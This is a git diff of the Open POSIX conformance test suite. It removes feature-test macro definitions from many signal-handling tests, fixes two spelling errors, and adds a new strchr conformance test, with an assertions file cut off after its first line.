diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigignore/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigignore/1-1.c
index 29c07fa..4d65ea9 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigignore/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigignore/1-1.c
@@ -13,7 +13,6 @@
 
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigignore/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigignore/4-1.c
index 7493667..509a6fd 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigignore/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigignore/4-1.c
@@ -7,7 +7,6 @@
  *
  * Simply, if sigignore returns a 0 here, test passes.
  */
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <signal.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigignore/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigignore/5-1.c
index 226942f..612d9f6 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigignore/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigignore/5-1.c
@@ -11,7 +11,6 @@
  * After sighold is called on an invalid signal, sigignore() should
  * return -1 and set errno to EINVAL
  */
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <signal.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigignore/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigignore/6-1.c
index 29e6c9c..9271722 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigignore/6-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigignore/6-1.c
@@ -11,7 +11,6 @@
    to be ignored.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <signal.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigignore/6-2.c b/testcases/open_posix_testsuite/conformance/interfaces/sigignore/6-2.c
index f8b560f..1888798 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigignore/6-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigignore/6-2.c
@@ -11,7 +11,6 @@
    to be ignored.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <signal.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigpause/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigpause/1-1.c
index 217275c..c7798d6 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigpause/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigpause/1-1.c
@@ -18,7 +18,6 @@
     then the test has failed, else it passed.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigpause/1-2.c b/testcases/open_posix_testsuite/conformance/interfaces/sigpause/1-2.c
index 4765e4e..ef4e724 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigpause/1-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigpause/1-2.c
@@ -20,7 +20,6 @@
     sigpause returned from suspension.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigpause/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigpause/2-1.c
index f53ceda..a703b32 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigpause/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigpause/2-1.c
@@ -28,7 +28,6 @@
 	PTS_FAIL if return value is 1
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigpause/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigpause/3-1.c
index 72b4806..b7cfdac 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigpause/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigpause/3-1.c
@@ -16,7 +16,6 @@
  3. Verify that sigpause returns -1 and sets errno to EINTR.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigpause/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigpause/4-1.c
index 832388c..50cf479 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigpause/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigpause/4-1.c
@@ -10,7 +10,6 @@
 
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/15-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/15-1.c
index c0ac96d..62f1a42 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/15-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/15-1.c
@@ -9,7 +9,6 @@
 
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <signal.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/17-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/17-1.c
index f10397a..17e7260 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/17-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/17-1.c
@@ -8,7 +8,6 @@
  * errno to EINVAL.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <signal.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/12-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/12-1.c
index 25d352c..d913a70 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/12-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/12-1.c
@@ -13,7 +13,6 @@
     the real or saved set-user-ID of the receiving process.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/3-1.c
index dcfb9fa..8ea6a68 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/3-1.c
@@ -16,7 +16,6 @@
 
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/4-1.c
index 7cc4ce2..9f8700a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/4-1.c
@@ -18,7 +18,6 @@
    is unblocked.
  */
 
-#define _XOPEN_SOURCE 600
 #define _XOPEN_REALTIME 1
 #define SIGTOTEST SIGRTMIN
 #define NUMCALLS 5
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/5-1.c
index aeeccf3..71169cc 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/5-1.c
@@ -18,7 +18,6 @@
    is unblocked.
  */
 
-#define _XOPEN_SOURCE 600
 #define _XOPEN_REALTIME 1
 #define SIGTOTEST SIGRTMIN
 #define NUMCALLS 5
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/6-1.c
index f28ebef..d909974 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/6-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/6-1.c
@@ -23,7 +23,6 @@
    has been called.
  */
 
-#define _XOPEN_SOURCE 600
 #define _XOPEN_REALTIME 1
 #define SIGTOTEST SIGRTMIN
 #define NUMCALLS 5
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/7-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/7-1.c
index e9f96cd..de35100 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/7-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/7-1.c
@@ -22,7 +22,6 @@
    biggest.
  */
 
-#define _XOPEN_SOURCE 600
 #define _XOPEN_REALTIME 1
 
 #include <signal.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/8-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/8-1.c
index 14704bb..0f366fa 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/8-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/8-1.c
@@ -19,7 +19,6 @@
  - Verify that sigqueue returns 0.
  */
 
-#define _XOPEN_SOURCE 600
 #define _XOPEN_REALTIME 1
 #define SIGTOTEST SIGRTMIN
 #define NUMCALLS 5
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/9-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/9-1.c
index 2c28981..2adba8a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/9-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/9-1.c
@@ -22,7 +22,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #define SIGTOTEST SIGRTMIN
 
 #include <signal.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigrelse/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigrelse/1-1.c
index 1b3a2de..9231113 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigrelse/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigrelse/1-1.c
@@ -16,7 +16,6 @@
  * 4. Call sigrelse on SIGABRT.
  * 5. Verify that the handler gets called this time.
  */
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigrelse/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigrelse/2-1.c
index 1694e3e..9aad568 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigrelse/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigrelse/2-1.c
@@ -8,7 +8,6 @@
  * Simply, if sigrelse returns a 0 here, test passes.
  *
  */
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <signal.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigrelse/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigrelse/3-1.c
index 4db3a49..cd422e8 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigrelse/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigrelse/3-1.c
@@ -14,7 +14,6 @@
  * The invalid signal passed to sigrelse() depends on the argument
  * passed to this program.
  */
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <signal.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigset/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigset/1-1.c
index 0e6af26..841c9e5 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigset/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigset/1-1.c
@@ -17,7 +17,6 @@
 
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigset/10-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigset/10-1.c
index 780600f..6e8e4aa 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigset/10-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigset/10-1.c
@@ -10,7 +10,6 @@
 
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigset/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigset/2-1.c
index db4c474..f16da5d 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigset/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigset/2-1.c
@@ -16,7 +16,6 @@
 
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigset/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigset/3-1.c
index 05530f0..e603f1c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigset/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigset/3-1.c
@@ -14,7 +14,6 @@
 
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigset/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigset/4-1.c
index 0830c23..640d4c0 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigset/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigset/4-1.c
@@ -10,7 +10,6 @@
 
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigset/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigset/5-1.c
index 20d3307..b8bb353 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigset/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigset/5-1.c
@@ -16,7 +16,6 @@
 
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigset/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigset/6-1.c
index 286ee37..664900c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigset/6-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigset/6-1.c
@@ -16,7 +16,6 @@
  4. Verify that SIGCHLD is pending.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigset/7-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigset/7-1.c
index 18d4bb4..307bde4 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigset/7-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigset/7-1.c
@@ -21,7 +21,6 @@
  *    sure that SIGCHLD is still handled by myhandler.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigset/8-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigset/8-1.c
index a28313e..10921d5 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigset/8-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigset/8-1.c
@@ -10,7 +10,6 @@
 
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigset/9-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigset/9-1.c
index 6c09fa3..071f7f9 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigset/9-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigset/9-1.c
@@ -10,7 +10,6 @@
 
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigsuspend/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigsuspend/1-1.c
index fa4e58b..2eba74f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigsuspend/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigsuspend/1-1.c
@@ -32,7 +32,7 @@
     process allowed for enough time for the child process to complete execution
     and get to the "return 2" line at the very end of the child's code, but the
     parent didn't allow for any time in which the child may have been suspended.
-    Because the child did recieve the signal that the parent later sent before
+    Because the child did receive the signal that the parent later sent before
     the child finished executing, that had to have meant that the child was
     suspended for a while during it's execution.
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigsuspend/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigsuspend/4-1.c
index 44e626f..ee26fbf 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigsuspend/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigsuspend/4-1.c
@@ -20,7 +20,7 @@
     the child return to the parent process with:
     - a return value of 1 if the original signal mask was not restored, or
     - a return value of 0 if the original signal mask was successfully restored.
- 4. Finally from the parent, return a PTS_PASS if recieved the return value of the child was not
+ 4. Finally from the parent, return a PTS_PASS if received the return value of the child was not
     a 1.
 
 */
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/1-1.c
index 189644c..3883d9b 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/1-1.c
@@ -28,7 +28,6 @@
        error margin.
  */
 
-#define _XOPEN_SOURCE 600
 #define _XOPEN_REALTIME 1
 
 #define TIMERSIGNAL SIGUSR1
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/2-1.c
index c5ac7db..a9567e3 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/2-1.c
@@ -29,7 +29,6 @@
        error margin.
  */
 
-#define _XOPEN_SOURCE 600
 #define _XOPEN_REALTIME 1
 
 #define TIMERSIGNAL SIGUSR1
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/4-1.c
index 5448fdc..70ae60f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/4-1.c
@@ -15,7 +15,6 @@
     4. Call sigtimedwait() and verify that it returns the signal SIGTOTEST.
  */
 
-#define _XOPEN_SOURCE 600
 #define _XOPEN_REALTIME 1
 #define SIGTOTEST SIGUSR1
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/5-1.c
index 0984cc1..bc66b65 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/5-1.c
@@ -24,7 +24,6 @@
     4. Verify that sigtimedwait() returns a -1.
  */
 
-#define _XOPEN_SOURCE 600
 #define _XOPEN_REALTIME 1
 
 #define TIMERSIGNAL SIGUSR1
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/6-1.c
index 037fa1e..c669590 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/6-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/6-1.c
@@ -25,7 +25,6 @@
     4. Verify that sigtimedwait() sets errno to [EAGAIN].
  */
 
-#define _XOPEN_SOURCE 600
 #define _XOPEN_REALTIME 1
 
 #define TIMERSIGNAL SIGUSR1
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigwait/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigwait/6-1.c
index b468148..3df1e1b 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigwait/6-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigwait/6-1.c
@@ -30,8 +30,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigwait/6-2.c b/testcases/open_posix_testsuite/conformance/interfaces/sigwait/6-2.c
index 7d8fcc6..f922772 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigwait/6-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigwait/6-2.c
@@ -29,8 +29,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigwait/7-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigwait/7-1.c
index f0206a3..4abc337 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigwait/7-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigwait/7-1.c
@@ -28,8 +28,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/1-1.c
index 18378ed..8620633 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/1-1.c
@@ -16,7 +16,6 @@
     4. Call sigwaitinfo() and verify that the signal is no longer pending.
  */
 
-#define _XOPEN_SOURCE 600
 #define _XOPEN_REALTIME 1
 #define SIGTOTEST SIGUSR1
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/2-1.c
index 7e3f171..d2c9781 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/2-1.c
@@ -19,7 +19,6 @@
  - call sigwaitinfo() and verify that it returns SIGRTMIN
  */
 
-#define _XOPEN_SOURCE 600
 #define _XOPEN_REALTIME 1
 
 #include <signal.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/5-1.c
index 1db765a..b426ce6 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/5-1.c
@@ -15,7 +15,6 @@
 
  */
 
-#define _XOPEN_SOURCE 600
 #define _XOPEN_REALTIME 1
 #define SIGTOTEST SIGUSR1
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/6-1.c
index 3b291a2..466386d 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/6-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/6-1.c
@@ -15,7 +15,6 @@
 
  */
 
-#define _XOPEN_SOURCE 600
 #define _XOPEN_REALTIME 1
 #define SIGTOTEST SIGUSR1
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/7-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/7-1.c
index 461ab11..41c0c75 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/7-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/7-1.c
@@ -19,7 +19,6 @@
 
  */
 
-#define _XOPEN_SOURCE 600
 #define _XOPEN_REALTIME 1
 #define SIGTOTEST SIGRTMIN
 #define NUMCALLS 5
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/8-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/8-1.c
index 81dd553..57bde15 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/8-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/8-1.c
@@ -20,7 +20,6 @@
 
  */
 
-#define _XOPEN_SOURCE 600
 #define _XOPEN_REALTIME 1
 #define SIGTOTEST SIGRTMIN
 #define NUMCALLS 5
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/9-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/9-1.c
index 2bbf11e..f071ef8 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/9-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/9-1.c
@@ -15,7 +15,6 @@
     4. Call sigwaitinfo() and verify that it returns the signal SIGTOTEST.
  */
 
-#define _XOPEN_SOURCE 600
 #define _XOPEN_REALTIME 1
 #define SIGTOTEST SIGUSR1
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/strchr/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/strchr/1-1.c
new file mode 100644
index 0000000..611a64d
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/strchr/1-1.c
@@ -0,0 +1,104 @@
+/*
+ * This file is licensed under the GPL license. For the full content
+ * of this license, see the COPYING file at the top level of this
+ * source tree.
+ */
+
+/*
+ * assertion:
+ *
+ *	The function will locate the first occurrence of c (converted to a char)
+ *	in the string pointed to by s. The terminating NUL character is
+ *	considered to be part of the string. Upon completion, the function will
+ *	return a pointer to the byte, or a null pointer if the byte was not found.
+ *
+ * method:
+ *	-Generate sample string s1
+ *	-Define one char, taking a character from the sample string(char1), one char as NULL(char2)
+	and third character out of the sample string(char3).
+ *	-Use strchr for string with char1 and store result in result1.
+ *	-Use strchr for string with char2 and store result in result2.
+ *	-Use strchr for string with char3 and store result in result3.
+ *	-Compare the result1 with pointer to the defined char(char1).
+ *	-Compare the result2 with pointer to the defined char(char2).
+ *	-Compare result3 with NULL.
+ *	-Repeat the above all steps for given number of iterations.
+*/
+
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include "posixtest.h"
+
+#define STRING_MAX_LEN 50000
+#define STEP_COUNT 2000
+#define TNAME "strchr/1-1.c"
+#define SKIP_CHAR 'n'
+#define MATCH_CHAR 's'
+
+char *random_string(int len, int char_pos)
+{
+	int i;
+	char *output_string = malloc(len + 1);
+	if (output_string == NULL) {
+		printf(TNAME " failed to allocate memory\n");
+		exit(PTS_UNRESOLVED);
+	}
+	for (i = 0; i < len; i++) {
+		output_string[i] = rand() % 254 + 1;
+		/*Add character MATCH_CHAR at char_pos*/
+		if (i == char_pos)
+			output_string[i] = MATCH_CHAR;
+		/*Avoid adding SKIP_CHAR and MATCH_CHAR in the string*/
+		else if (output_string[i] == SKIP_CHAR || output_string[i] == MATCH_CHAR)
+			i--;
+	}
+	output_string[len] = '\0';
+	return output_string;
+}
+
+int main(void)
+{
+	int i, char_pos;
+
+	for (i = 1; i < STRING_MAX_LEN; i += STEP_COUNT) {
+		char *sample_str;
+		char sample_char_1;
+		char sample_char_2 = '\0';
+		char sample_char_3 = 'n';
+		char_pos = rand() % i;
+
+		sample_str = random_string(i, char_pos);
+		sample_char_1  = sample_str[char_pos];
+
+		char *ret_str_1 = strchr(sample_str, sample_char_1);
+		char *ret_str_2 = strchr(sample_str, sample_char_2);
+		char *ret_str_3 = strchr(sample_str, sample_char_3);
+
+		if (ret_str_1 != &sample_str[char_pos]) {
+			printf(TNAME " Test Failed, Failed to return pointer to the byte, when matching"
+					" character is found. Expected: %p, but returned: %p\n",
+					&sample_str[char_pos], ret_str_1);
+			exit(PTS_FAIL);
+		} else if (ret_str_2 != &sample_str[i]) {
+			printf(TNAME " Test Failed, Failed to consider NUL character as a part of the"
+					" string,\n\t\t\t\t   so failed to return pointer to the NUL character,"
+					" when matching character is found.\n\t\t\t\t   Expected: %p,"
+					" but returned: %p\n", &sample_str[i - 1], ret_str_2);
+			exit(PTS_FAIL);
+		} else if (ret_str_3 != NULL) {
+			printf(TNAME " Test Failed, Failed to return NULL when character is not found"
+					" in the string. Expected: NULL, but returned: %p\n", ret_str_3);
+			exit(PTS_FAIL);
+		}
+		free(sample_str);
+	}
+	printf(TNAME " Test Passed, First case: character is found, "
+				"so returned pointer to the byte.\n\t\t\t  Second case: The"
+				" terminating NUL character is considered as part of the string,"
+				" \n\t\t\t\t\tso returned pointer to the NUL character.\n\t\t\t  "
+				"Third case: character is not found, so"
+				" NULL pointer is returned.\n");
+	exit(PTS_PASS);
+}
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/strchr/assertions.xml b/testcases/open_posix_testsuite/conformance/interfaces/strchr/assertions.xml
new file mode 100644
index 0000000..b619a62
--- /dev/null
+++ b/testcases/open_posix_testsuite/conformance/interfaces/strchr/assertions.xml
@@ -0,0 +1,9 @@
+<assertions>
